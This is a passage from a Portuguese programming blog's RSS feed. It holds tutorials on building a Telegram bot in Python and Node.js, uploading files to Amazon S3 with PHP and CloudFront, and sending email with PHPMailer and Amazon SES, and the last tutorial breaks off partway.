		<link>https://www.manualdoprogramador.com/neste-post-voce-vai-aprender-como-criar-um-bot-no-telegram-e-integra-lo-com-linguagens-de-programacao-como-python-e-javascript-o-tutorial-inclui-dois-exemplos-praticos-um-para-enviar-alertas-via-we/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=neste-post-voce-vai-aprender-como-criar-um-bot-no-telegram-e-integra-lo-com-linguagens-de-programacao-como-python-e-javascript-o-tutorial-inclui-dois-exemplos-praticos-um-para-enviar-alertas-via-we</link>
					<comments>https://www.manualdoprogramador.com/neste-post-voce-vai-aprender-como-criar-um-bot-no-telegram-e-integra-lo-com-linguagens-de-programacao-como-python-e-javascript-o-tutorial-inclui-dois-exemplos-praticos-um-para-enviar-alertas-via-we/#comments</comments>
		
		<dc:creator><![CDATA[Davi Antonaji]]></dc:creator>
		<pubDate>Thu, 15 Aug 2024 00:59:30 +0000</pubDate>
				<category><![CDATA[Back-end]]></category>
		<category><![CDATA[Programação]]></category>
		<category><![CDATA[#APIs]]></category>
		<category><![CDATA[#Automação]]></category>
		<category><![CDATA[#Bot]]></category>
		<category><![CDATA[#Chatbot]]></category>
		<category><![CDATA[#Programação]]></category>
		<category><![CDATA[#TelegramBot]]></category>
		<category><![CDATA[#Webhooks]]></category>
		<category><![CDATA[desenvolvimento]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[python]]></category>
		<guid isPermaLink="false">https://www.manualdoprogramador.com/?p=1183</guid>

					<description><![CDATA[Neste post, você vai aprender como criar um bot no Telegram e integrá-lo com linguagens de programação como Python e JavaScript. O tutorial inclui dois exemplos práticos: um para enviar alertas via webhook e outro para criar um chatbot que responde a comandos. O guia é fácil de seguir e vai te ajudar a explorar as funcionalidades dos bots do Telegram, desde a criação até a interação com usuários.]]></description>
										<content:encoded><![CDATA[
<h4 class="wp-block-heading">Introdução</h4>



<p class="wp-block-paragraph">E aí, pessoal! Se você sempre quis criar um bot no Telegram, mas achou que seria complicado, estou aqui para mostrar que é bem mais fácil do que parece. Neste post, vou te ensinar como criar um bot e fazer duas integrações diferentes: uma para enviar alertas via webhook e outra para criar um chatbot que conversa e responde. Vamos nessa?</p>



<h4 class="wp-block-heading">Passo 1: Criando o bot no Telegram</h4>



<ol class="wp-block-list">
<li><strong>Abra o Telegram e encontre o BotFather</strong>. O BotFather é o cara que vai te ajudar a criar e gerenciar o seu bot. Basta procurar por ele na busca do Telegram e iniciar uma conversa.</li>



<li><strong>Crie o bot com o comando <code>/newbot</code></strong>. O BotFather vai pedir um nome e um username para o bot. Lembre-se que o username precisa ser único e terminar com &#8220;bot&#8221; (por exemplo, <code>MeuBotLegal</code>).</li>



<li><strong>Guarde o token de acesso</strong>. Após configurar tudo, o BotFather vai te dar um token. Esse token é a chave que permite que você controle o bot via código</li>
</ol>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="630" height="540" src="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image.png?resize=630%2C540&#038;ssl=1" alt="" class="wp-image-1185" srcset="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image.png?w=630&amp;ssl=1 630w, https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image.png?resize=300%2C257&amp;ssl=1 300w" sizes="(max-width: 630px) 100vw, 630px" /></figure>



<h4 class="wp-block-heading">Passo 2: Pegando o chat_id</h4>



<p class="wp-block-paragraph">Antes de começar a enviar mensagens ou configurar o bot para responder, você precisa pegar o <code>chat_id</code>, que é o identificador do chat onde o bot vai enviar mensagens.</p>



<p class="wp-block-paragraph"><strong>Use a API do Telegram para pegar o <code>chat_id</code></strong>. Você pode pegar o <code>chat_id</code> usando o seguinte script:</p>



<h5 class="wp-block-heading">Python</h5>



<p class="wp-block-paragraph"><strong>Inicie uma conversa com o seu bot</strong>. Abra o chat com o seu bot no Telegram e envie uma mensagem, qualquer coisa, só para iniciar a interação.</p>



<pre class="wp-block-code"><code>import requests

# Substitua pelo seu token
TOKEN = &#039;seu_token_aqui&#039;

# Pega as últimas atualizações do bot
response = requests.get(f&#039;https://api.telegram.org/bot{TOKEN}/getUpdates&#039;).json()

# Extrai o chat_id da resposta
chat_id = response&#091;&#039;result&#039;]&#091;0]&#091;&#039;message&#039;]&#091;&#039;chat&#039;]&#091;&#039;id&#039;]
print(f&#039;Seu chat_id é: {chat_id}&#039;)
</code></pre>



<h5 class="wp-block-heading">JavaScript (Node.js)</h5>



<pre class="wp-block-code"><code>const axios = require(&#039;axios&#039;);
const token = &#039;seu_token_aqui&#039;;

axios.get(`https://api.telegram.org/bot${token}/getUpdates`)
  .then(response =&gt; {
    const chatId = response.data.result&#091;0].message.chat.id;
    console.log(&#039;Seu chat_id é: &#039;, chatId);
  })
  .catch(error =&gt; {
    console.error(&#039;Erro ao pegar chat_id: &#039;, error);
  });</code></pre>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="438" height="185" src="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-2.png?resize=438%2C185&#038;ssl=1" alt="" class="wp-image-1187" srcset="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-2.png?w=438&amp;ssl=1 438w, https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-2.png?resize=300%2C127&amp;ssl=1 300w" sizes="(max-width: 438px) 100vw, 438px" /></figure>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="509" height="142" src="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-3.png?resize=509%2C142&#038;ssl=1" alt="" class="wp-image-1188" srcset="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-3.png?w=509&amp;ssl=1 509w, https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-3.png?resize=300%2C84&amp;ssl=1 300w" sizes="(max-width: 509px) 100vw, 509px" /></figure>



<p class="wp-block-paragraph"><strong>Anote o <code>chat_id</code></strong>. Execute o script acima e você verá o <code>chat_id</code> no console. Anote esse ID porque você vai usá-lo nos próximos passos.</p>



<h4 class="wp-block-heading">Passo 3: Exemplo 1 &#8211; Enviando alertas via webhook</h4>



<p class="wp-block-paragraph">Agora que você tem o <code>chat_id</code>, vamos começar com algo simples: enviar alertas pro Telegram usando um webhook. Isso é útil quando você quer ser notificado automaticamente sobre alguma coisa, tipo um erro no seu sistema.</p>



<h5 class="wp-block-heading">Python</h5>



<p class="wp-block-paragraph"><strong>Instale a biblioteca <code>requests</code></strong>.</p>



<pre class="wp-block-code"><code>pip install requests</code></pre>



<p class="wp-block-paragraph"><strong>Crie um script para enviar mensagens</strong>.</p>



<pre class="wp-block-code"><code>import requests

# Token e ID do chat
TOKEN = &#039;seu_token_aqui&#039;
CHAT_ID = &#039;seu_chat_id_aqui&#039;

def enviar_alerta(mensagem):
    url = f&#039;https://api.telegram.org/bot{TOKEN}/sendMessage&#039;
    data = {&#039;chat_id&#039;: CHAT_ID, &#039;text&#039;: mensagem}
    requests.post(url, data=data)

enviar_alerta(&#039;&#x26a0; Alerta: Algo deu errado no sistema!&#039;)</code></pre>



<h5 class="wp-block-heading">JavaScript (Node.js)</h5>



<p class="wp-block-paragraph"><strong>Instale o <code>axios</code> para fazer as requisições</strong>.</p>



<pre class="wp-block-code"><code>npm install axios</code></pre>



<p class="wp-block-paragraph"><strong>Crie um script básico para enviar alertas</strong>.</p>



<pre class="wp-block-code"><code>const axios = require(&#039;axios&#039;);
const token = &#039;seu_token_aqui&#039;;
const chatId = &#039;seu_chat_id_aqui&#039;;
const message = &#039;&#x26a0; Alerta: Algo deu errado no sistema!&#039;;

axios.post(`https://api.telegram.org/bot${token}/sendMessage`, {
    chat_id: chatId,
    text: message
}).then(response =&gt; {
    console.log(&#039;Mensagem enviada: &#039;, response.data);
}).catch(error =&gt; {
    console.error(&#039;Erro ao enviar mensagem: &#039;, error);
});</code></pre>



<h5 class="wp-block-heading"><strong>Execute o script e teste o envio do alerta</strong>.</h5>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="367" height="194" src="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-4.png?resize=367%2C194&#038;ssl=1" alt="" class="wp-image-1189" srcset="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-4.png?w=367&amp;ssl=1 367w, https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-4.png?resize=300%2C159&amp;ssl=1 300w" sizes="(max-width: 367px) 100vw, 367px" /></figure>



<h4 class="wp-block-heading">Passo 4: Exemplo 2 &#8211; Criando um chatbot com interação</h4>



<p class="wp-block-paragraph">Agora, vamos deixar o negócio mais interessante: vamos criar um bot que responde às mensagens que você enviar para ele.</p>



<h5 class="wp-block-heading">Python</h5>



<p class="wp-block-paragraph"><strong>Instale a biblioteca <code>python-telegram-bot</code></strong>.</p>



<pre class="wp-block-code"><code>pip install python-telegram-bot</code></pre>



<p class="wp-block-paragraph"><strong>Crie um bot que responde a comandos</strong>.</p>



<pre class="wp-block-code"><code>from telegram import Update
from telegram.ext import Application, CommandHandler

# Token do Bot
TOKEN = &#039;seu_token_aqui&#039;

async def start(update: Update, context):
    await update.message.reply_text(&#039;Oi! Como posso ajudar?&#039;)

async def help_command(update: Update, context):
    await update.message.reply_text(&#039;Aqui está a lista de comandos: /start, /help&#039;)

if __name__ == &#039;__main__&#039;:
    # Cria a aplicação e adiciona os handlers
    application = Application.builder().token(TOKEN).build()

    application.add_handler(CommandHandler(&quot;start&quot;, start))
    application.add_handler(CommandHandler(&quot;help&quot;, help_command))

    # Inicia o bot
    application.run_polling()</code></pre>



<h5 class="wp-block-heading">JavaScript (Node.js)</h5>



<p class="wp-block-paragraph"><strong>Instale a biblioteca <code>node-telegram-bot-api</code></strong>.</p>



<pre class="wp-block-code"><code>npm install node-telegram-bot-api</code></pre>



<p class="wp-block-paragraph"><strong>Crie um bot que responde aos comandos</strong>.</p>



<pre class="wp-block-code"><code>const TelegramBot = require(&#039;node-telegram-bot-api&#039;);
const token = &#039;seu_token_aqui&#039;;
const bot = new TelegramBot(token, {polling: true});

bot.onText(/\/start/, (msg) =&gt; {
    bot.sendMessage(msg.chat.id, &quot;Oi! Como posso ajudar?&quot;);
});

bot.onText(/\/help/, (msg) =&gt; {
    bot.sendMessage(msg.chat.id, &quot;Aqui está a lista de comandos: /start, /help&quot;);
});</code></pre>



<h5 class="wp-block-heading"><strong>Teste a interação com o seu bot</strong>.</h5>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="504" height="258" src="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-5.png?resize=504%2C258&#038;ssl=1" alt="" class="wp-image-1190" srcset="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-5.png?w=504&amp;ssl=1 504w, https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/image-5.png?resize=300%2C154&amp;ssl=1 300w" sizes="(max-width: 504px) 100vw, 504px" /></figure>



<h4 class="wp-block-heading">Considerações finais</h4>



<p class="wp-block-paragraph">Pronto! Agora você sabe como criar um bot no Telegram, tanto para enviar alertas via webhook quanto para criar um chatbot interativo. Com esses exemplos, você pode começar a explorar mais funcionalidades e personalizar seu bot para fazer o que você quiser. Adicione suas capturas de tela onde indicado e compartilhe com a galera o que você criou!</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph"><strong>Dica:</strong> Sempre proteja o token do seu bot e evite compartilhá-lo publicamente para garantir a segurança.</p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.manualdoprogramador.com/neste-post-voce-vai-aprender-como-criar-um-bot-no-telegram-e-integra-lo-com-linguagens-de-programacao-como-python-e-javascript-o-tutorial-inclui-dois-exemplos-praticos-um-para-enviar-alertas-via-we/feed/</wfw:commentRss>
			<slash:comments>5</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1183</post-id>	</item>
		<item>
		<title>Como Subir e Gerenciar Arquivos no Amazon S3 Usando PHP e Por Que Configurar uma Distribuição do CloudFront</title>
		<link>https://www.manualdoprogramador.com/como-subir-e-gerenciar-arquivos-no-amazon-s3-usando-php-e-por-que-configurar-uma-distribuicao-do-cloudfront/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=como-subir-e-gerenciar-arquivos-no-amazon-s3-usando-php-e-por-que-configurar-uma-distribuicao-do-cloudfront</link>
					<comments>https://www.manualdoprogramador.com/como-subir-e-gerenciar-arquivos-no-amazon-s3-usando-php-e-por-que-configurar-uma-distribuicao-do-cloudfront/#respond</comments>
		
		<dc:creator><![CDATA[Davi Antonaji]]></dc:creator>
		<pubDate>Sun, 11 Aug 2024 14:03:14 +0000</pubDate>
				<category><![CDATA[Back-end]]></category>
		<category><![CDATA[Programação]]></category>
		<category><![CDATA[Amazon S3]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Cacheamento]]></category>
		<category><![CDATA[CDN]]></category>
		<category><![CDATA[CloudFront]]></category>
		<category><![CDATA[desenvolvimento web]]></category>
		<category><![CDATA[Gerenciamento de Arquivos]]></category>
		<category><![CDATA[Otimização de Custos]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[programação]]></category>
		<category><![CDATA[Upload de Arquivos]]></category>
		<guid isPermaLink="false">https://www.manualdoprogramador.com/?p=1167</guid>

					<description><![CDATA[Aprenda a criar um sistema PHP para gerenciar arquivos no Amazon S3, utilizando boas práticas de desenvolvimento e segurança. Este post também explora como a configuração de uma distribuição do CloudFront pode otimizar o acesso aos arquivos, reduzindo custos e melhorando a performance da sua aplicação. Descubra como fazer upload de arquivos via $_FILES e as vantagens de utilizar o CloudFront para cache e redução de custos de acesso.]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Com a crescente necessidade de armazenar arquivos na nuvem, o Amazon S3 (Simple Storage Service) se destaca como uma solução robusta e escalável. Neste post, vamos te guiar na criação de um sistema PHP para gerenciar arquivos no S3, utilizando boas práticas de desenvolvimento e segurança. Além disso, vamos explorar como a configuração de uma distribuição do Amazon CloudFront pode otimizar o acesso aos seus arquivos, reduzindo custos e melhorando a performance.</p>



<h4 class="wp-block-heading">Visão Geral</h4>



<p class="wp-block-paragraph">O Amazon S3 é amplamente utilizado para armazenamento de arquivos, enquanto o Amazon CloudFront pode ser empregado para entrega de conteúdo de forma rápida e segura. Aqui, vamos configurar um projeto PHP para realizar uploads no S3, obter URLs através do CloudFront, e discutir as vantagens de usar o CloudFront para acessar seus arquivos.</p>



<h4 class="wp-block-heading">Estrutura do Projeto</h4>



<p class="wp-block-paragraph">Seu projeto será estruturado da seguinte forma:</p>



<pre class="wp-block-code"><code>project/
├── src/
│   ├── S3Manager.php
│   └── example.php
├── .env
├── composer.json
└── README.md</code></pre>



<h4 class="wp-block-heading">Dependências Necessárias</h4>



<p class="wp-block-paragraph">Antes de começar, certifique-se de ter o Composer instalado, pois ele gerenciará as dependências do seu projeto PHP. No arquivo <code>composer.json</code>, adicione as seguintes dependências:</p>



<pre class="wp-block-code"><code>{
    &quot;require&quot;: {
        &quot;aws/aws-sdk-php&quot;: &quot;^3.0&quot;,
        &quot;vlucas/phpdotenv&quot;: &quot;^5.4&quot;
    }
}</code></pre>



<p class="wp-block-paragraph">Em seguida, instale as dependências:</p>



<pre class="wp-block-code"><code>composer install</code></pre>



<h4 class="wp-block-heading">Configurando Variáveis de Ambiente</h4>



<p class="wp-block-paragraph">Utilize um arquivo <code>.env</code> para gerenciar configurações sensíveis, como chaves de acesso AWS. O conteúdo do seu arquivo <code>.env</code> deve ser algo como:</p>



<pre class="wp-block-preformatted">AWS_ACCESS_KEY_ID=your_access_key_id<br>AWS_SECRET_ACCESS_KEY=your_secret_access_key<br>AWS_REGION=your_aws_region<br>S3_BUCKET_NAME=your_s3_bucket_name<br>CLOUDFRONT_URL=https://your_cloudfront_distribution_url/</pre>



<h4 class="wp-block-heading">Criando a Classe de Gerenciamento de Arquivos no S3</h4>



<p class="wp-block-paragraph">Crie a classe <code>S3Manager.php</code> para gerenciar uploads e recuperação de URLs:</p>



<pre class="wp-block-code"><code>&lt;?php

namespace App;

use Aws\S3\S3Client;
use Dotenv\Dotenv;

class S3Manager
{
    private $s3;
    private $bucket;
    private $cloudfrontUrl;

    public function __construct()
    {
        $dotenv = Dotenv::createImmutable(__DIR__ . &#039;/../&#039;);
        $dotenv-&gt;load();

        $this-&gt;bucket = $_ENV&#091;&#039;S3_BUCKET_NAME&#039;];
        $this-&gt;cloudfrontUrl = $_ENV&#091;&#039;CLOUDFRONT_URL&#039;];

        $this-&gt;s3 = new S3Client(&#091;
            &#039;version&#039; =&gt; &#039;latest&#039;,
            &#039;region&#039;  =&gt; $_ENV&#091;&#039;AWS_REGION&#039;],
            &#039;credentials&#039; =&gt; &#091;
                &#039;key&#039;    =&gt; $_ENV&#091;&#039;AWS_ACCESS_KEY_ID&#039;],
                &#039;secret&#039; =&gt; $_ENV&#091;&#039;AWS_SECRET_ACCESS_KEY&#039;],
            ],
        ]);
    }

    public function uploadFile($filePath, $key)
    {
        try {
            $result = $this-&gt;s3-&gt;putObject(&#091;
                &#039;Bucket&#039; =&gt; $this-&gt;bucket,
                &#039;Key&#039;    =&gt; $key,
                &#039;SourceFile&#039; =&gt; $filePath,
            ]);

            return $result&#091;&#039;ObjectURL&#039;];
        } catch (AwsException $e) {
            echo &quot;Error uploading file: &quot; . $e-&gt;getMessage();
            return false;
        }
    }

    public function getFileUrl($key)
    {
        return $this-&gt;cloudfrontUrl . $key;
    }

    public function uploadFromFiles($file, $key)
    {
        try {
            $result = $this-&gt;s3-&gt;putObject(&#091;
                &#039;Bucket&#039; =&gt; $this-&gt;bucket,
                &#039;Key&#039;    =&gt; $key,
                &#039;Body&#039;   =&gt; fopen($file&#091;&#039;tmp_name&#039;], &#039;rb&#039;),
                &#039;ACL&#039;    =&gt; &#039;public-read&#039;, // Optional: for public access
            ]);

            return $result&#091;&#039;ObjectURL&#039;];
        } catch (AwsException $e) {
            echo &quot;Error uploading file: &quot; . $e-&gt;getMessage();
            return false;
        }
    }
}</code></pre>



<h4 class="wp-block-heading">Exemplo de Uso</h4>



<p class="wp-block-paragraph">Agora, você pode usar a classe <code>S3Manager</code> para fazer o upload de arquivos, tanto a partir de um caminho no sistema de arquivos quanto diretamente do <code>$_FILES</code>:</p>



<pre class="wp-block-code"><code>&lt;?php

require &#039;vendor/autoload.php&#039;;

use App\S3Manager;

$s3Manager = new S3Manager();

// Exemplo de upload de um arquivo existente
$filePath = &#039;/path/to/your/file.txt&#039;;
$key = &#039;uploads/file.txt&#039;;
$uploadUrl = $s3Manager-&gt;uploadFile($filePath, $key);

if ($uploadUrl) {
    echo &quot;File uploaded successfully. URL: &quot; . $uploadUrl . PHP_EOL;
}

// Exemplo de upload via $_FILES
if ($_FILES) {
    $file = $_FILES&#091;&#039;uploaded_file&#039;];
    $key = &#039;uploads/&#039; . basename($file&#091;&#039;name&#039;]);
    $uploadUrl = $s3Manager-&gt;uploadFromFiles($file, $key);

    if ($uploadUrl) {
        echo &quot;File uploaded successfully via \$_FILES. URL: &quot; . $uploadUrl . PHP_EOL;
    }
}

// Exemplo de obtenção da URL do arquivo via CloudFront
$fileUrl = $s3Manager-&gt;getFileUrl($key);
echo &quot;File URL via CloudFront: &quot; . $fileUrl . PHP_EOL;</code></pre>



<h3 class="wp-block-heading">Vantagem de Configurar uma Distribuição do CloudFront para S3</h3>



<p class="wp-block-paragraph">Ao utilizar o Amazon S3 para armazenar seus arquivos, cada acesso a esses arquivos gera custos. Dependendo do volume de acessos, isso pode se tornar significativo. Uma maneira eficiente de reduzir esses custos e ainda melhorar a performance de sua aplicação é configurando uma distribuição do Amazon CloudFront.</p>



<p class="wp-block-paragraph">O CloudFront é uma Content Delivery Network (CDN) da AWS que oferece várias vantagens:</p>



<ul class="wp-block-list">
<li><strong>Redução de Custos:</strong> Enquanto o S3 cobra por cada acesso aos seus arquivos, o CloudFront oferece um custo por acesso menor, o que pode resultar em economias consideráveis, especialmente para sites ou aplicações com alto tráfego.</li>



<li><strong>Cacheamento:</strong> O CloudFront armazena em cache os arquivos em diversos pontos de presença (PoPs) ao redor do mundo. Isso não só reduz a latência, tornando o acesso mais rápido para os usuários, como também diminui a quantidade de requisições diretamente ao S3, economizando ainda mais nos custos de acesso.</li>



<li><strong>Melhoria de Performance:</strong> Com os arquivos sendo servidos a partir de locais mais próximos dos usuários finais, o tempo de carregamento é significativamente reduzido, proporcionando uma experiência de usuário mais fluida.</li>
</ul>



<p class="wp-block-paragraph">Ao configurar o CloudFront para distribuir os arquivos armazenados no S3, você não só economiza, mas também melhora a performance e a escalabilidade da sua aplicação.</p>



<h3 class="wp-block-heading">Considerações Finais</h3>



<p class="wp-block-paragraph">Ao configurar seu projeto PHP para interagir com o Amazon S3 e CloudFront, você está construindo uma solução escalável e segura para gerenciar arquivos na nuvem. O uso de variáveis de ambiente e a abordagem modular ajudam a manter a flexibilidade e a segurança do seu sistema. Além disso, a possibilidade de fazer uploads diretamente via <code>$_FILES</code> facilita a integração em sistemas que recebem arquivos de formulários HTML.</p>



<p class="wp-block-paragraph">Se você está começando a trabalhar com AWS ou deseja melhorar seu sistema atual, essa solução pode ser o ponto de partida ideal, especialmente ao considerar as vantagens de utilizar o CloudFront para acessar seus arquivos no S3.</p>



<p class="wp-block-paragraph"><strong>Gostou do conteúdo? Deixe seu comentário abaixo e compartilhe com outros desenvolvedores que podem se beneficiar deste tutorial!</strong></p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.manualdoprogramador.com/como-subir-e-gerenciar-arquivos-no-amazon-s3-usando-php-e-por-que-configurar-uma-distribuicao-do-cloudfront/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1167</post-id>	</item>
		<item>
		<title>Enviando E-mails com PHPMailer e Amazon SES: Um Guia Completo</title>
		<link>https://www.manualdoprogramador.com/enviando-e-mails-com-phpmailer-e-amazon-ses-um-guia-completo/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=enviando-e-mails-com-phpmailer-e-amazon-ses-um-guia-completo</link>
					<comments>https://www.manualdoprogramador.com/enviando-e-mails-com-phpmailer-e-amazon-ses-um-guia-completo/#respond</comments>
		
		<dc:creator><![CDATA[Davi Antonaji]]></dc:creator>
		<pubDate>Sun, 11 Aug 2024 13:48:31 +0000</pubDate>
				<category><![CDATA[Back-end]]></category>
		<category><![CDATA[Programação]]></category>
		<category><![CDATA[Amazon SES]]></category>
		<category><![CDATA[autenticação]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[desenvolvimento web]]></category>
		<category><![CDATA[envio de e-mails]]></category>
		<category><![CDATA[escalabilidade]]></category>
		<category><![CDATA[integração]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[PHP dotenv]]></category>
		<category><![CDATA[PHPMailer]]></category>
		<category><![CDATA[serviço de e-mail]]></category>
		<category><![CDATA[tutorial]]></category>
		<guid isPermaLink="false">https://www.manualdoprogramador.com/?p=1163</guid>

					<description><![CDATA[Este post oferece um guia completo sobre como configurar o envio de e-mails utilizando PHPMailer em PHP e integrá-lo com o Amazon SES para enviar e-mails de forma segura e escalável. Aborda a importância de usar variáveis de ambiente para proteger credenciais e apresenta uma classe em PHP para facilitar o envio de e-mails com essa configuração. Além disso, explica como configurar o Amazon SES para gerenciar grandes volumes de e-mails, garantindo segurança e flexibilidade nas suas aplicações.]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">No desenvolvimento web, enviar e-mails de forma eficiente e segura é uma tarefa comum e necessária. Para desenvolvedores PHP, uma das bibliotecas mais populares para isso é o PHPMailer. Este post irá guiá-lo na configuração do envio de e-mails utilizando o PHPMailer e como integrar essa solução com o Amazon Simple Email Service (SES) da AWS para enviar e-mails de forma escalável e segura.</p>



<h4 class="wp-block-heading"><strong>Por que usar o PHPMailer?</strong></h4>



<p class="wp-block-paragraph">PHPMailer é uma biblioteca PHP amplamente utilizada por sua facilidade de uso e por suportar funcionalidades avançadas como envio de anexos, e-mails em HTML, e suporte a SMTP. Além disso, ele permite uma integração segura com serviços de e-mail como o Amazon SES, utilizando variáveis de ambiente para proteger suas credenciais.</p>



<h4 class="wp-block-heading"><strong>Configurando o Ambiente</strong></h4>



<p class="wp-block-paragraph">Antes de tudo, é importante garantir que suas credenciais sensíveis, como senhas de e-mail e chaves de acesso da AWS, estejam protegidas. Isso pode ser feito utilizando variáveis de ambiente, que mantêm essas informações fora do código-fonte, minimizando riscos de exposição.</p>



<p class="wp-block-paragraph">No entanto, para que o PHP consiga ler as variáveis de ambiente de um arquivo <code>.env</code>, é necessário utilizar uma biblioteca como o <strong>vlucas/phpdotenv</strong>.</p>



<h5 class="wp-block-heading"><strong>Passo 1: Instalação do PHP dotenv</strong></h5>



<p class="wp-block-paragraph">Você pode instalar o <code>phpdotenv</code> utilizando o Composer:</p>



<pre class="wp-block-code"><code>composer require vlucas/phpdotenv</code></pre>



<h5 class="wp-block-heading"><strong>Passo 2: Configuração do Arqui</strong>vo .env</h5>



<p class="wp-block-paragraph">Crie um arquivo <code>.env</code> na raiz do seu projeto e adicione suas variáveis de ambiente:</p>



<pre class="wp-block-code"><code>SMTP_HOST=email-smtp.&#091;região].amazonaws.com
SMTP_PORT=587
SMTP_USERNAME=sua_ses_access_key
SMTP_PASSWORD=sua_ses_secret_key</code></pre>



<h5 class="wp-block-heading"><strong>Passo 3: Carregando as Variáveis de Ambiente no PHP</strong></h5>



<p class="wp-block-paragraph">No início do seu script PHP, você precisará carregar as variáveis de ambiente com o <code>phpdotenv</code>:</p>



<pre class="wp-block-code"><code>&lt;?php

require &#039;vendor/autoload.php&#039;;

// Carrega as variáveis de ambiente do arquivo .env
$dotenv = Dotenv\Dotenv::createImmutable(__DIR__);
$dotenv-&gt;load();

$host = getenv(&#039;SMTP_HOST&#039;);
$username = getenv(&#039;SMTP_USERNAME&#039;);
// Agora você pode utilizar essas variáveis na configuração do PHPMailer</code></pre>



<h4 class="wp-block-heading"><strong>Instalação do PHPMailer</strong></h4>



<p class="wp-block-paragraph">Agora que suas variáveis de ambiente estão configuradas, é hora de instalar o PHPMailer. A maneira mais simples de fazer isso é utilizando o Composer:</p>



<pre class="wp-block-code"><code>composer require phpmailer/phpmailer</code></pre>



<h4 class="wp-block-heading"><strong>Criando a Classe de Envio de E-mails</strong></h4>



<p class="wp-block-paragraph">Agora vamos criar uma classe em PHP que utiliza o PHPMailer para enviar e-mails. Esta classe será configurada para usar as variáveis de ambiente que definimos anteriormente.</p>



<pre class="wp-block-code"><code>&lt;?php

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require &#039;vendor/autoload.php&#039;;

class EmailService
{
    private $mailer;

    public function __construct()
    {
        $this-&gt;mailer = new PHPMailer(true);
        $this-&gt;configure();
    }

    private function configure()
    {
        // Configurações do servidor SMTP
        $this-&gt;mailer-&gt;isSMTP();
        $this-&gt;mailer-&gt;Host = getenv(&#039;SMTP_HOST&#039;);
        $this-&gt;mailer-&gt;SMTPAuth = true;
        $this-&gt;mailer-&gt;Username = getenv(&#039;SMTP_USERNAME&#039;);
        $this-&gt;mailer-&gt;Password = getenv(&#039;SMTP_PASSWORD&#039;);
        $this-&gt;mailer-&gt;SMTPSecure = &#039;tls&#039;;
        $this-&gt;mailer-&gt;Port = getenv(&#039;SMTP_PORT&#039;);
    }

    public function sendEmail($fromEmail, $fromName, $to, $subject, $body)
    {
        try {
            // Configurações do remetente
            $this-&gt;mailer-&gt;setFrom($fromEmail, $fromName);
            $this-&gt;mailer-&gt;addAddress($to);

            // Cabeçalhos adicionais para resposta
            $this-&gt;mailer-&gt;addReplyTo($fromEmail, $fromName);
            $this-&gt;mailer-&gt;addCustomHeader(&#039;Return-Path&#039;, $fromEmail);

            $this-&gt;mailer-&gt;Subject = $subject;
            $this-&gt;mailer-&gt;Body = $body;
            $this-&gt;mailer-&gt;isHTML(true);

            // Enviar o e-mail
            $this-&gt;mailer-&gt;send();

            return &quot;E-mail enviado com sucesso!&quot;;
        } catch (Exception $e) {
            return &quot;Erro ao enviar e-mail: {$this-&gt;mailer-&gt;ErrorInfo}&quot;;
        }
    }
}

// Exemplo de uso
$emailService = new EmailService();
$result = $emailService-&gt;sendEmail(&#039;usuario@seudominio.com.br&#039;, &#039;Nome do Usuário&#039;, &#039;destinatario@example.com&#039;, &#039;Assunto do E-mail&#039;, &#039;Corpo do e-mail&#039;);
echo $result;</code></pre>



<h4 class="wp-block-heading"><strong>Usando o Amazon SES</strong></h4>



<p class="wp-block-paragraph">O Amazon SES (Simple Email Service) é um serviço de e-mail baseado na nuvem que permite o envio de grandes volumes de e-mails de forma confiável e segura. Ele utiliza Access Key e Secret Key para autenticação, e você pode configurar domínios verificados para garantir que os e-mails enviados sejam considerados legítimos pelos provedores de e-mail.</p>



<p class="wp-block-paragraph">Ao configurar o Amazon SES com PHPMailer, o processo de envio de e-mails se torna mais robusto, permitindo que você gerencie altas demandas de e-mails sem se preocupar com limitações comuns de servidores de e-mail tradicionais.</p>



<h5 class="wp-block-heading"><strong>Passos para configurar o SES:</strong></h5>



<ol class="wp-block-list">
<li><strong>Verifique o domínio:</strong> Antes de enviar e-mails com o SES, é necessário verificar o domínio que você deseja utilizar.</li>



